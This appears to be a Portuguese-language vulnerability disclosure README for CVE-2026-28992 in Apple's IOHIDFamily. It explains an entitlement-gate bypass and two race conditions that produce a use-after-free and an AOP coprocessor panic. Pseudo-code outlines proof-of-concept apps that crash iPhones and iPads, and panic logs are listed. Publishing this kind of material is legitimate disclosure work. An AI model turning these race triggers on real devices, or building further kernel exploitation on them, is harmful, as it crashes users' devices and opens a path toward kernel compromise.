
UAF e panic do coprocessador AOP no IOHIDEventServiceFastPathUserClient. Sem entitlements, acessível a partir do sandbox de aplicativos.
CVE-2026-28992 | Autor: Johnny Franks (@zeroxjf)
Componente: IOHIDFamily
Impacto: Um atacante pode causar o encerramento inesperado do app
Descrição: Uma vulnerabilidade de corrupção de memória foi resolvida com bloqueio aprimorado.
Ambos os PoCs causam kernel panic e reiniciam os dispositivos afetados. Salve seu trabalho primeiro.
Duas condições de corrida em IOHIDEventServiceFastPathUserClient (kext do IOHIDFamily). Nenhuma entitlement é necessária. Acessível a partir do sandbox normal de apps.
Ambos os vetores usam IOServiceOpen(service, task, 2, &conn). O gate de abertura sel0 verifica FastPathHasEntitlement e FastPathMotionEventEntitlement no OSDictionary fornecido pelo chamador em vez dos flags de entitlement armazenados durante initWithTask; um app em sandbox passa pelo gate ao incluir essas chaves na struct de entrada.
// open 15 connections to the same IOHIDEventService provider
io_connect_t conns[15];
for (int i = 0; i < 15; i++) {
IOServiceOpen(service, mach_task_self(), 2, &conns[i]);
IOConnectCallMethod(conns[i], /*sel*/ 0, &scalar, 1, xml, xmlLen, ...); // gate
}
// thread A: conn[0] rapid close → reopen (lifecycle churn + provider ref drop)
while (!stop) {
IOConnectCallMethod(conns[0], /*sel*/ 1, &scalar, 1, NULL, 0, ...); // close
IOConnectCallMethod(conns[0], /*sel*/ 0, &scalar, 1, xml, xmlLen, ...); // reopen
}
// threads B..N: conn[1..N] tight copyEvent loop (per-connection locking only)
while (!stop) {
uint64_t args[2] = { 0, 1 };
IOConnectCallMethod(conns[k], /*sel*/ 2, args, 2, NULL, 0, ...); // copyEvent
}
O caminho de fechamento (sel1) descarta o estado do provider e limpa +0x109 sem lock. O copyEvent (sel2) verifica um flag diferente (+0x108) sob um lock por conexão e então chama o provider. Múltiplas conexões ao mesmo provider fazem com que close e copyEvent operem em domínios de bloqueio diferentes em objetos compartilhados do lado do provider.
// pre-open 3 opener connections
io_connect_t openers[3];
for (int i = 0; i < 3; i++) {
IOServiceOpen(service, mach_task_self(), 2, &openers[i]);
IOConnectCallMethod(openers[i], /*sel*/ 0, &scalar, 1, xml, xmlLen, ...);
}
// opener threads: continuous close → reopen
while (!stop) {
IOConnectCallMethod(openers[k], /*sel*/ 1, &scalar, 1, NULL, 0, ...);
IOConnectCallMethod(openers[k], /*sel*/ 0, &scalar, 1, xml, xmlLen, ...);
}
// main thread: batch pre-gate → rapid teardown loop
while (!stop) {
// create + gate 16 probe connections
io_connect_t probes[16];
for (int i = 0; i < 16; i++) {
IOServiceOpen(service, mach_task_self(), 2, &probes[i]);
IOConnectCallMethod(probes[i], /*sel*/ 0, &scalar, 1, xml, xmlLen, ...);
}
// destroy all probes — each fires async didTerminate → teardown
// teardown removes/frees provider-facing state while opener threads iterate
// provider-facing state via the open path
for (int i = 0; i < 16; i++)
mach_port_destroy(mach_task_self(), probes[i]);
usleep(80000); // 80ms race window
}
mach_port_destroy aciona o didTerminate assíncrono → close/teardown, não sincronizado com os caminhos de abertura sel0 concorrentes em outras conexões. Isso também satura a mailbox dos providers baseados em SPU, acionando o timeout do watchdog do AOP.
| Caminho | Descrição |
|---|
UAFPoc/ | app iOS — aciona o UAF (falha de tag MTE em A17+, data abort em pré-A17) |
AOPPanicPoc/ | app iOS — aciona o pânico do coprocessador AOP via saturação da mailbox do SPU |
panic-logs/mte-tag-fault.ips | Falha de verificação de tag do kernel — iPhone 17 Pro Max (A19 Pro, MTE+PAC) |
panic-logs/ipad-data-abort.ips | Data abort do kernel — iPad Pro 12.9" 2ª geração (A10X, sem MTE/PAC) |
panic-logs/aop-panic.ips | Pânico do coprocessador AOP — iPhone 17 Pro Max (estouro da mailbox do SPU) |